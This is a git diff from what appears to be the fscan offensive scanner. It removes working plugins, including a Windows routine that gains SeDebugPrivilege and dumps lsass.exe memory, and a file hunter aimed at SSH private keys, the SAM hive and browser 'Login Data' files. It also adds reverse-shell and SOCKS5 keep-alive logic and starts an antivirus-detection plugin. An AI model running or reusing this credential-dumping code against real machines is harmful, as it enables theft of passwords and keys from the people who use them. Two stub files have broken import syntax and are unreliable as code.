if common.ScanMode != "" && common.ScanMode != "all" {
|
||||||
requestedPlugins := parsePluginList(common.ScanMode)
|
requestedPlugins := parsePluginList(common.ScanMode)
|
||||||
|
@ -91,8 +91,13 @@ func (pa *PluginAdapter) ScanWithPlugin(pluginName string, info *common.HostInfo
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 处理扫描结果
|
// 处理扫描结果
|
||||||
if result != nil && result.Success {
|
if result == nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("插件 %s 返回了空结果", pluginName))
|
||||||
|
} else if result.Success {
|
||||||
common.LogDebug(fmt.Sprintf("插件 %s 扫描成功", pluginName))
|
common.LogDebug(fmt.Sprintf("插件 %s 扫描成功", pluginName))
|
||||||
|
// TODO: 输出扫描结果
|
||||||
|
} else {
|
||||||
|
common.LogDebug(fmt.Sprintf("插件 %s 扫描失败: %v", pluginName, result.Error))
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
|
@ -58,6 +58,23 @@ func RunScan(info common.HostInfo) {
|
|||||||
// 等待所有扫描完成
|
// 等待所有扫描完成
|
||||||
wg.Wait()
|
wg.Wait()
|
||||||
|
|
||||||
|
// 检查是否有活跃的反弹Shell或SOCKS5代理
|
||||||
|
if common.ReverseShellActive {
|
||||||
|
common.LogBase("检测到活跃的反弹Shell,保持程序运行...")
|
||||||
|
common.LogBase("按 Ctrl+C 退出程序")
|
||||||
|
|
||||||
|
// 进入无限等待,保持程序运行以维持反弹Shell连接
|
||||||
|
select {} // 阻塞等待,直到收到系统信号
|
||||||
|
}
|
||||||
|
|
||||||
|
if common.Socks5ProxyActive {
|
||||||
|
common.LogBase("检测到活跃的SOCKS5代理,保持程序运行...")
|
||||||
|
common.LogBase("按 Ctrl+C 退出程序")
|
||||||
|
|
||||||
|
// 进入无限等待,保持程序运行以维持SOCKS5代理
|
||||||
|
select {} // 阻塞等待,直到收到系统信号
|
||||||
|
}
|
||||||
|
|
||||||
// 完成扫描
|
// 完成扫描
|
||||||
finishScan()
|
finishScan()
|
||||||
}
|
}
|
||||||
|
127
Plugins/Base.go
127
Plugins/Base.go
@ -1,127 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"crypto/aes"
|
|
||||||
"crypto/cipher"
|
|
||||||
"encoding/base64"
|
|
||||||
"errors"
|
|
||||||
"fmt"
|
|
||||||
"net"
|
|
||||||
)
|
|
||||||
|
|
||||||
// ReadBytes 从连接读取数据直到EOF或错误
|
|
||||||
func ReadBytes(conn net.Conn) ([]byte, error) {
|
|
||||||
size := 4096 // 缓冲区大小
|
|
||||||
buf := make([]byte, size)
|
|
||||||
var result []byte
|
|
||||||
var lastErr error
|
|
||||||
|
|
||||||
// 循环读取数据
|
|
||||||
for {
|
|
||||||
count, err := conn.Read(buf)
|
|
||||||
if err != nil {
|
|
||||||
lastErr = err
|
|
||||||
break
|
|
||||||
}
|
|
||||||
|
|
||||||
result = append(result, buf[0:count]...)
|
|
||||||
|
|
||||||
// 如果读取的数据小于缓冲区,说明已经读完
|
|
||||||
if count < size {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果读到了数据,则忽略错误
|
|
||||||
if len(result) > 0 {
|
|
||||||
return result, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
return result, lastErr
|
|
||||||
}
|
|
||||||
|
|
||||||
// 默认AES加密密钥
|
|
||||||
var key = "0123456789abcdef"
|
|
||||||
|
|
||||||
// AesEncrypt 使用AES-CBC模式加密字符串
|
|
||||||
func AesEncrypt(orig string, key string) (string, error) {
|
|
||||||
// 转为字节数组
|
|
||||||
origData := []byte(orig)
|
|
||||||
keyBytes := []byte(key)
|
|
||||||
|
|
||||||
// 创建加密块,要求密钥长度必须为16/24/32字节
|
|
||||||
block, err := aes.NewCipher(keyBytes)
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("创建加密块失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 获取块大小并填充数据
|
|
||||||
blockSize := block.BlockSize()
|
|
||||||
origData = PKCS7Padding(origData, blockSize)
|
|
||||||
|
|
||||||
// 创建CBC加密模式
|
|
||||||
blockMode := cipher.NewCBCEncrypter(block, keyBytes[:blockSize])
|
|
||||||
|
|
||||||
// 加密数据
|
|
||||||
encrypted := make([]byte, len(origData))
|
|
||||||
blockMode.CryptBlocks(encrypted, origData)
|
|
||||||
|
|
||||||
// base64编码
|
|
||||||
return base64.StdEncoding.EncodeToString(encrypted), nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// AesDecrypt 使用AES-CBC模式解密字符串
|
|
||||||
func AesDecrypt(crypted string, key string) (string, error) {
|
|
||||||
// base64解码
|
|
||||||
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("base64解码失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
keyBytes := []byte(key)
|
|
||||||
|
|
||||||
// 创建解密块
|
|
||||||
block, err := aes.NewCipher(keyBytes)
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("创建解密块失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 创建CBC解密模式
|
|
||||||
blockSize := block.BlockSize()
|
|
||||||
blockMode := cipher.NewCBCDecrypter(block, keyBytes[:blockSize])
|
|
||||||
|
|
||||||
// 解密数据
|
|
||||||
origData := make([]byte, len(cryptedBytes))
|
|
||||||
blockMode.CryptBlocks(origData, cryptedBytes)
|
|
||||||
|
|
||||||
// 去除填充
|
|
||||||
origData, err = PKCS7UnPadding(origData)
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("去除PKCS7填充失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return string(origData), nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// PKCS7Padding 对数据进行PKCS7填充
|
|
||||||
func PKCS7Padding(data []byte, blockSize int) []byte {
|
|
||||||
padding := blockSize - len(data)%blockSize
|
|
||||||
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
|
|
||||||
return append(data, padtext...)
|
|
||||||
}
|
|
||||||
|
|
||||||
// PKCS7UnPadding 去除PKCS7填充
|
|
||||||
func PKCS7UnPadding(data []byte) ([]byte, error) {
|
|
||||||
length := len(data)
|
|
||||||
if length == 0 {
|
|
||||||
return nil, errors.New("数据长度为0")
|
|
||||||
}
|
|
||||||
|
|
||||||
padding := int(data[length-1])
|
|
||||||
if padding > length {
|
|
||||||
return nil, errors.New("填充长度无效")
|
|
||||||
}
|
|
||||||
|
|
||||||
return data[:length-padding], nil
|
|
||||||
}
|
|
1050
Plugins/DCInfo.go
1050
Plugins/DCInfo.go
File diff suppressed because it is too large
Load Diff
@ -1,10 +0,0 @@
|
|||||||
//go:build !windows
|
|
||||||
|
|
||||||
package Plugins
|
|
||||||
|
|
||||||
import "github.com/shadow1ng/fscan/common"
|
|
||||||
"github.com/shadow1ng/fscan/common/output"
|
|
||||||
|
|
||||||
func DCInfoScan(info *common.HostInfo) (err error) {
|
|
||||||
return nil
|
|
||||||
}
|
|
@ -1,218 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
"runtime"
|
|
||||||
"strings"
|
|
||||||
)
|
|
||||||
|
|
||||||
var (
|
|
||||||
// 文件扫描黑名单,跳过这些类型和目录
|
|
||||||
blacklist = []string{
|
|
||||||
".exe", ".dll", ".png", ".jpg", ".bmp", ".xml", ".bin",
|
|
||||||
".dat", ".manifest", "locale", "winsxs", "windows\\sys",
|
|
||||||
}
|
|
||||||
|
|
||||||
// 敏感文件关键词白名单
|
|
||||||
whitelist = []string{
|
|
||||||
"密码", "账号", "账户", "配置", "服务器",
|
|
||||||
"数据库", "备忘", "常用", "通讯录",
|
|
||||||
}
|
|
||||||
|
|
||||||
// Linux系统关键配置文件路径
|
|
||||||
linuxSystemPaths = []string{
|
|
||||||
// Apache配置
|
|
||||||
"/etc/apache/httpd.conf",
|
|
||||||
"/etc/httpd/conf/httpd.conf",
|
|
||||||
"/etc/httpd/httpd.conf",
|
|
||||||
"/usr/local/apache/conf/httpd.conf",
|
|
||||||
"/home/httpd/conf/httpd.conf",
|
|
||||||
"/usr/local/apache2/conf/httpd.conf",
|
|
||||||
"/usr/local/httpd/conf/httpd.conf",
|
|
||||||
"/etc/apache2/sites-available/000-default.conf",
|
|
||||||
"/etc/apache2/sites-enabled/*",
|
|
||||||
"/etc/apache2/sites-available/*",
|
|
||||||
"/etc/apache2/apache2.conf",
|
|
||||||
|
|
||||||
// Nginx配置
|
|
||||||
"/etc/nginx/nginx.conf",
|
|
||||||
"/etc/nginx/conf.d/nginx.conf",
|
|
||||||
|
|
||||||
// 系统配置文件
|
|
||||||
"/etc/hosts.deny",
|
|
||||||
"/etc/bashrc",
|
|
||||||
"/etc/issue",
|
|
||||||
"/etc/issue.net",
|
|
||||||
"/etc/ssh/ssh_config",
|
|
||||||
"/etc/termcap",
|
|
||||||
"/etc/xinetd.d/*",
|
|
||||||
"/etc/mtab",
|
|
||||||
"/etc/vsftpd/vsftpd.conf",
|
|
||||||
"/etc/xinetd.conf",
|
|
||||||
"/etc/protocols",
|
|
||||||
"/etc/logrotate.conf",
|
|
||||||
"/etc/ld.so.conf",
|
|
||||||
"/etc/resolv.conf",
|
|
||||||
"/etc/sysconfig/network",
|
|
||||||
"/etc/sendmail.cf",
|
|
||||||
"/etc/sendmail.cw",
|
|
||||||
|
|
||||||
// proc信息
|
|
||||||
"/proc/mounts",
|
|
||||||
"/proc/cpuinfo",
|
|
||||||
"/proc/meminfo",
|
|
||||||
"/proc/self/environ",
|
|
||||||
"/proc/1/cmdline",
|
|
||||||
"/proc/1/mountinfo",
|
|
||||||
"/proc/1/fd/*",
|
|
||||||
"/proc/1/exe",
|
|
||||||
"/proc/config.gz",
|
|
||||||
|
|
||||||
// 用户配置文件
|
|
||||||
"/root/.ssh/authorized_keys",
|
|
||||||
"/root/.ssh/id_rsa",
|
|
||||||
"/root/.ssh/id_rsa.keystore",
|
|
||||||
"/root/.ssh/id_rsa.pub",
|
|
||||||
"/root/.ssh/known_hosts",
|
|
||||||
"/root/.bash_history",
|
|
||||||
"/root/.mysql_history",
|
|
||||||
}
|
|
||||||
|
|
||||||
// Windows系统关键配置文件路径
|
|
||||||
windowsSystemPaths = []string{
|
|
||||||
"C:\\boot.ini",
|
|
||||||
"C:\\windows\\systems32\\inetsrv\\MetaBase.xml",
|
|
||||||
"C:\\windows\\repair\\sam",
|
|
||||||
"C:\\windows\\system32\\config\\sam",
|
|
||||||
}
|
|
||||||
)
|
|
||||||
|
|
||||||
// LocalInfoScan 本地信息收集主函数
|
|
||||||
func LocalInfoScan(info *common.HostInfo) (err error) {
|
|
||||||
common.LogBase("开始本地信息收集...")
|
|
||||||
|
|
||||||
// 获取用户主目录
|
|
||||||
home, err := os.UserHomeDir()
|
|
||||||
if err != nil {
|
|
||||||
common.LogError(fmt.Sprintf("获取用户主目录失败: %v", err))
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
// 扫描固定位置的敏感文件
|
|
||||||
scanFixedLocations(home)
|
|
||||||
|
|
||||||
// 根据规则搜索敏感文件
|
|
||||||
searchSensitiveFiles()
|
|
||||||
|
|
||||||
common.LogBase("本地信息收集完成")
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// scanFixedLocations 扫描固定位置的敏感文件
|
|
||||||
func scanFixedLocations(home string) {
|
|
||||||
var paths []string
|
|
||||||
|
|
||||||
switch runtime.GOOS {
|
|
||||||
case "windows":
|
|
||||||
// 添加Windows固定路径
|
|
||||||
paths = append(paths, windowsSystemPaths...)
|
|
||||||
paths = append(paths, []string{
|
|
||||||
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
|
|
||||||
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Local State"),
|
|
||||||
filepath.Join(home, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
|
|
||||||
filepath.Join(home, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
|
|
||||||
}...)
|
|
||||||
|
|
||||||
case "linux":
|
|
||||||
// 添加Linux固定路径
|
|
||||||
paths = append(paths, linuxSystemPaths...)
|
|
||||||
paths = append(paths, []string{
|
|
||||||
filepath.Join(home, ".config", "google-chrome", "Default", "Login Data"),
|
|
||||||
filepath.Join(home, ".mozilla", "firefox"),
|
|
||||||
}...)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, path := range paths {
|
|
||||||
// 处理通配符路径
|
|
||||||
if strings.Contains(path, "*") {
|
|
||||||
var _ = strings.ReplaceAll(path, "*", "")
|
|
||||||
if files, err := filepath.Glob(path); err == nil {
|
|
||||||
for _, file := range files {
|
|
||||||
checkAndLogFile(file)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
checkAndLogFile(path)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// checkAndLogFile 检查并记录敏感文件
|
|
||||||
func checkAndLogFile(path string) {
|
|
||||||
if _, err := os.Stat(path); err == nil {
|
|
||||||
common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", path))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// searchSensitiveFiles 搜索敏感文件
|
|
||||||
func searchSensitiveFiles() {
|
|
||||||
var searchPaths []string
|
|
||||||
|
|
||||||
switch runtime.GOOS {
|
|
||||||
case "windows":
|
|
||||||
// Windows下常见的敏感目录
|
|
||||||
home, _ := os.UserHomeDir()
|
|
||||||
searchPaths = []string{
|
|
||||||
"C:\\Users\\Public\\Documents",
|
|
||||||
"C:\\Users\\Public\\Desktop",
|
|
||||||
filepath.Join(home, "Desktop"),
|
|
||||||
filepath.Join(home, "Documents"),
|
|
||||||
filepath.Join(home, "Downloads"),
|
|
||||||
"C:\\Program Files",
|
|
||||||
"C:\\Program Files (x86)",
|
|
||||||
}
|
|
||||||
case "linux":
|
|
||||||
// Linux下常见的敏感目录
|
|
||||||
home, _ := os.UserHomeDir()
|
|
||||||
searchPaths = []string{
|
|
||||||
"/home",
|
|
||||||
"/opt",
|
|
||||||
"/usr/local",
|
|
||||||
"/var/www",
|
|
||||||
"/var/log",
|
|
||||||
filepath.Join(home, "Desktop"),
|
|
||||||
filepath.Join(home, "Documents"),
|
|
||||||
filepath.Join(home, "Downloads"),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 在限定目录下搜索
|
|
||||||
for _, searchPath := range searchPaths {
|
|
||||||
filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error {
|
|
||||||
if err != nil {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// 跳过黑名单目录和文件
|
|
||||||
for _, black := range blacklist {
|
|
||||||
if strings.Contains(strings.ToLower(path), black) {
|
|
||||||
return filepath.SkipDir
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查白名单关键词
|
|
||||||
for _, white := range whitelist {
|
|
||||||
fileName := strings.ToLower(info.Name())
|
|
||||||
if strings.Contains(fileName, white) {
|
|
||||||
common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path))
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
@ -1,319 +0,0 @@
|
|||||||
//go:build windows
|
|
||||||
|
|
||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"golang.org/x/sys/windows"
|
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
"syscall"
|
|
||||||
"unsafe"
|
|
||||||
)
|
|
||||||
|
|
||||||
const (
|
|
||||||
TH32CS_SNAPPROCESS = 0x00000002
|
|
||||||
INVALID_HANDLE_VALUE = ^uintptr(0)
|
|
||||||
MAX_PATH = 260
|
|
||||||
|
|
||||||
PROCESS_ALL_ACCESS = 0x1F0FFF
|
|
||||||
SE_PRIVILEGE_ENABLED = 0x00000002
|
|
||||||
|
|
||||||
ERROR_SUCCESS = 0
|
|
||||||
)
|
|
||||||
|
|
||||||
type PROCESSENTRY32 struct {
|
|
||||||
dwSize uint32
|
|
||||||
cntUsage uint32
|
|
||||||
th32ProcessID uint32
|
|
||||||
th32DefaultHeapID uintptr
|
|
||||||
th32ModuleID uint32
|
|
||||||
cntThreads uint32
|
|
||||||
th32ParentProcessID uint32
|
|
||||||
pcPriClassBase int32
|
|
||||||
dwFlags uint32
|
|
||||||
szExeFile [MAX_PATH]uint16
|
|
||||||
}
|
|
||||||
|
|
||||||
type LUID struct {
|
|
||||||
LowPart uint32
|
|
||||||
HighPart int32
|
|
||||||
}
|
|
||||||
|
|
||||||
type LUID_AND_ATTRIBUTES struct {
|
|
||||||
Luid LUID
|
|
||||||
Attributes uint32
|
|
||||||
}
|
|
||||||
|
|
||||||
type TOKEN_PRIVILEGES struct {
|
|
||||||
PrivilegeCount uint32
|
|
||||||
Privileges [1]LUID_AND_ATTRIBUTES
|
|
||||||
}
|
|
||||||
|
|
||||||
// ProcessManager 处理进程相关操作
|
|
||||||
type ProcessManager struct {
|
|
||||||
kernel32 *syscall.DLL
|
|
||||||
dbghelp *syscall.DLL
|
|
||||||
advapi32 *syscall.DLL
|
|
||||||
}
|
|
||||||
|
|
||||||
// 创建新的进程管理器
|
|
||||||
func NewProcessManager() (*ProcessManager, error) {
|
|
||||||
kernel32, err := syscall.LoadDLL("kernel32.dll")
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
advapi32, err := syscall.LoadDLL("advapi32.dll")
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return &ProcessManager{
|
|
||||||
kernel32: kernel32,
|
|
||||||
dbghelp: dbghelp,
|
|
||||||
advapi32: advapi32,
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
|
|
||||||
proc := pm.kernel32.MustFindProc("CreateToolhelp32Snapshot")
|
|
||||||
handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
|
|
||||||
if handle == uintptr(INVALID_HANDLE_VALUE) {
|
|
||||||
return 0, fmt.Errorf("创建进程快照失败: %v", err)
|
|
||||||
}
|
|
||||||
return handle, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) {
|
|
||||||
var pe32 PROCESSENTRY32
|
|
||||||
pe32.dwSize = uint32(unsafe.Sizeof(pe32))
|
|
||||||
|
|
||||||
proc32First := pm.kernel32.MustFindProc("Process32FirstW")
|
|
||||||
proc32Next := pm.kernel32.MustFindProc("Process32NextW")
|
|
||||||
lstrcmpi := pm.kernel32.MustFindProc("lstrcmpiW")
|
|
||||||
|
|
||||||
ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
|
|
||||||
if ret == 0 {
|
|
||||||
return 0, fmt.Errorf("获取第一个进程失败")
|
|
||||||
}
|
|
||||||
|
|
||||||
for {
|
|
||||||
ret, _, _ = lstrcmpi.Call(
|
|
||||||
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(name))),
|
|
||||||
uintptr(unsafe.Pointer(&pe32.szExeFile[0])),
|
|
||||||
)
|
|
||||||
|
|
||||||
if ret == 0 {
|
|
||||||
return pe32.th32ProcessID, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
|
|
||||||
if ret == 0 {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0, fmt.Errorf("未找到进程: %s", name)
|
|
||||||
}
|
|
||||||
|
|
||||||
func (pm *ProcessManager) closeHandle(handle uintptr) {
|
|
||||||
proc := pm.kernel32.MustFindProc("CloseHandle")
|
|
||||||
proc.Call(handle)
|
|
||||||
}
|
|
||||||
|
|
||||||
func (pm *ProcessManager) ElevatePrivileges() error {
|
|
||||||
handle, err := pm.getCurrentProcess()
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
var token syscall.Token
|
|
||||||
err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("打开进程令牌失败: %v", err)
|
|
||||||
}
|
|
||||||
defer token.Close()
|
|
||||||
|
|
||||||
var tokenPrivileges TOKEN_PRIVILEGES
|
|
||||||
|
|
||||||
lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW")
|
|
||||||
ret, _, err := lookupPrivilegeValue.Call(
|
|
||||||
0,
|
|
||||||
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("SeDebugPrivilege"))),
|
|
||||||
uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)),
|
|
||||||
)
|
|
||||||
if ret == 0 {
|
|
||||||
return fmt.Errorf("查找特权值失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
tokenPrivileges.PrivilegeCount = 1
|
|
||||||
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
|
|
||||||
|
|
||||||
adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges")
|
|
||||||
ret, _, err = adjustTokenPrivileges.Call(
|
|
||||||
uintptr(token),
|
|
||||||
0,
|
|
||||||
uintptr(unsafe.Pointer(&tokenPrivileges)),
|
|
||||||
0,
|
|
||||||
0,
|
|
||||||
0,
|
|
||||||
)
|
|
||||||
if ret == 0 {
|
|
||||||
return fmt.Errorf("调整令牌特权失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
|
|
||||||
proc := pm.kernel32.MustFindProc("GetCurrentProcess")
|
|
||||||
handle, _, _ := proc.Call()
|
|
||||||
if handle == 0 {
|
|
||||||
return 0, fmt.Errorf("获取当前进程句柄失败")
|
|
||||||
}
|
|
||||||
return syscall.Handle(handle), nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (pm *ProcessManager) DumpProcess(pid uint32, outputPath string) error {
|
|
||||||
processHandle, err := pm.openProcess(pid)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer pm.closeHandle(processHandle)
|
|
||||||
|
|
||||||
fileHandle, err := pm.createDumpFile(outputPath)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer pm.closeHandle(fileHandle)
|
|
||||||
|
|
||||||
miniDumpWriteDump := pm.dbghelp.MustFindProc("MiniDumpWriteDump")
|
|
||||||
ret, _, err := miniDumpWriteDump.Call(
|
|
||||||
processHandle,
|
|
||||||
uintptr(pid),
|
|
||||||
fileHandle,
|
|
||||||
0x00061907, // MiniDumpWithFullMemory
|
|
||||||
0,
|
|
||||||
0,
|
|
||||||
0,
|
|
||||||
)
|
|
||||||
|
|
||||||
if ret == 0 {
|
|
||||||
return fmt.Errorf("写入转储文件失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
|
|
||||||
proc := pm.kernel32.MustFindProc("OpenProcess")
|
|
||||||
handle, _, err := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
|
|
||||||
if handle == 0 {
|
|
||||||
return 0, fmt.Errorf("打开进程失败: %v", err)
|
|
||||||
}
|
|
||||||
return handle, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
|
|
||||||
pathPtr, err := syscall.UTF16PtrFromString(path)
|
|
||||||
if err != nil {
|
|
||||||
return 0, err
|
|
||||||
}
|
|
||||||
|
|
||||||
createFile := pm.kernel32.MustFindProc("CreateFileW")
|
|
||||||
handle, _, err := createFile.Call(
|
|
||||||
uintptr(unsafe.Pointer(pathPtr)),
|
|
||||||
syscall.GENERIC_WRITE,
|
|
||||||
0,
|
|
||||||
0,
|
|
||||||
syscall.CREATE_ALWAYS,
|
|
||||||
syscall.FILE_ATTRIBUTE_NORMAL,
|
|
||||||
0,
|
|
||||||
)
|
|
||||||
|
|
||||||
if handle == INVALID_HANDLE_VALUE {
|
|
||||||
return 0, fmt.Errorf("创建文件失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return handle, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// 查找目标进程
|
|
||||||
func (pm *ProcessManager) FindProcess(name string) (uint32, error) {
|
|
||||||
snapshot, err := pm.createProcessSnapshot()
|
|
||||||
if err != nil {
|
|
||||||
return 0, err
|
|
||||||
}
|
|
||||||
defer pm.closeHandle(snapshot)
|
|
||||||
|
|
||||||
return pm.findProcessInSnapshot(snapshot, name)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查是否具有管理员权限
|
|
||||||
func IsAdmin() bool {
|
|
||||||
var sid *windows.SID
|
|
||||||
err := windows.AllocateAndInitializeSid(
|
|
||||||
&windows.SECURITY_NT_AUTHORITY,
|
|
||||||
2,
|
|
||||||
windows.SECURITY_BUILTIN_DOMAIN_RID,
|
|
||||||
windows.DOMAIN_ALIAS_RID_ADMINS,
|
|
||||||
0, 0, 0, 0, 0, 0,
|
|
||||||
&sid)
|
|
||||||
if err != nil {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
defer windows.FreeSid(sid)
|
|
||||||
|
|
||||||
token := windows.Token(0)
|
|
||||||
member, err := token.IsMember(sid)
|
|
||||||
return err == nil && member
|
|
||||||
}
|
|
||||||
|
|
||||||
func MiniDump(info *common.HostInfo) (err error) {
|
|
||||||
// 先检查管理员权限
|
|
||||||
if !IsAdmin() {
|
|
||||||
common.LogError("需要管理员权限才能执行此操作")
|
|
||||||
return fmt.Errorf("需要管理员权限才能执行此操作")
|
|
||||||
}
|
|
||||||
|
|
||||||
pm, err := NewProcessManager()
|
|
||||||
if err != nil {
|
|
||||||
common.LogError(fmt.Sprintf("初始化进程管理器失败: %v", err))
|
|
||||||
return fmt.Errorf("初始化进程管理器失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 查找 lsass.exe
|
|
||||||
pid, err := pm.FindProcess("lsass.exe")
|
|
||||||
if err != nil {
|
|
||||||
common.LogError(fmt.Sprintf("查找进程失败: %v", err))
|
|
||||||
return fmt.Errorf("查找进程失败: %v", err)
|
|
||||||
}
|
|
||||||
common.LogSuccess(fmt.Sprintf("找到进程 lsass.exe, PID: %d", pid))
|
|
||||||
|
|
||||||
// 提升权限
|
|
||||||
if err := pm.ElevatePrivileges(); err != nil {
|
|
||||||
common.LogError(fmt.Sprintf("提升权限失败: %v", err))
|
|
||||||
return fmt.Errorf("提升权限失败: %v", err)
|
|
||||||
}
|
|
||||||
common.LogSuccess("成功提升进程权限")
|
|
||||||
|
|
||||||
// 创建输出路径
|
|
||||||
outputPath := filepath.Join(".", fmt.Sprintf("fscan-%d.dmp", pid))
|
|
||||||
|
|
||||||
// 执行转储
|
|
||||||
if err := pm.DumpProcess(pid, outputPath); err != nil {
|
|
||||||
os.Remove(outputPath)
|
|
||||||
common.LogError(fmt.Sprintf("进程转储失败: %v", err))
|
|
||||||
return fmt.Errorf("进程转储失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
common.LogSuccess(fmt.Sprintf("成功将进程内存转储到文件: %s", outputPath))
|
|
||||||
return nil
|
|
||||||
}
|
|
@ -1,10 +0,0 @@
|
|||||||
//go:build !windows
|
|
||||||
|
|
||||||
package Plugins
|
|
||||||
|
|
||||||
import "github.com/shadow1ng/fscan/common"
|
|
||||||
"github.com/shadow1ng/fscan/common/output"
|
|
||||||
|
|
||||||
func MiniDump(info *common.HostInfo) (err error) {
|
|
||||||
return nil
|
|
||||||
}
|
|
2163
Plugins/local/avdetect/auto.json
Normal file
2163
Plugins/local/avdetect/auto.json
Normal file
File diff suppressed because it is too large
Load Diff
646
Plugins/local/avdetect/plugin.go
Normal file
646
Plugins/local/avdetect/plugin.go
Normal file
@ -0,0 +1,646 @@
|
|||||||
|
package avdetect
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"context"
|
||||||
|
_ "embed"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
|
"sort"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
"github.com/shadow1ng/fscan/plugins/base"
|
||||||
|
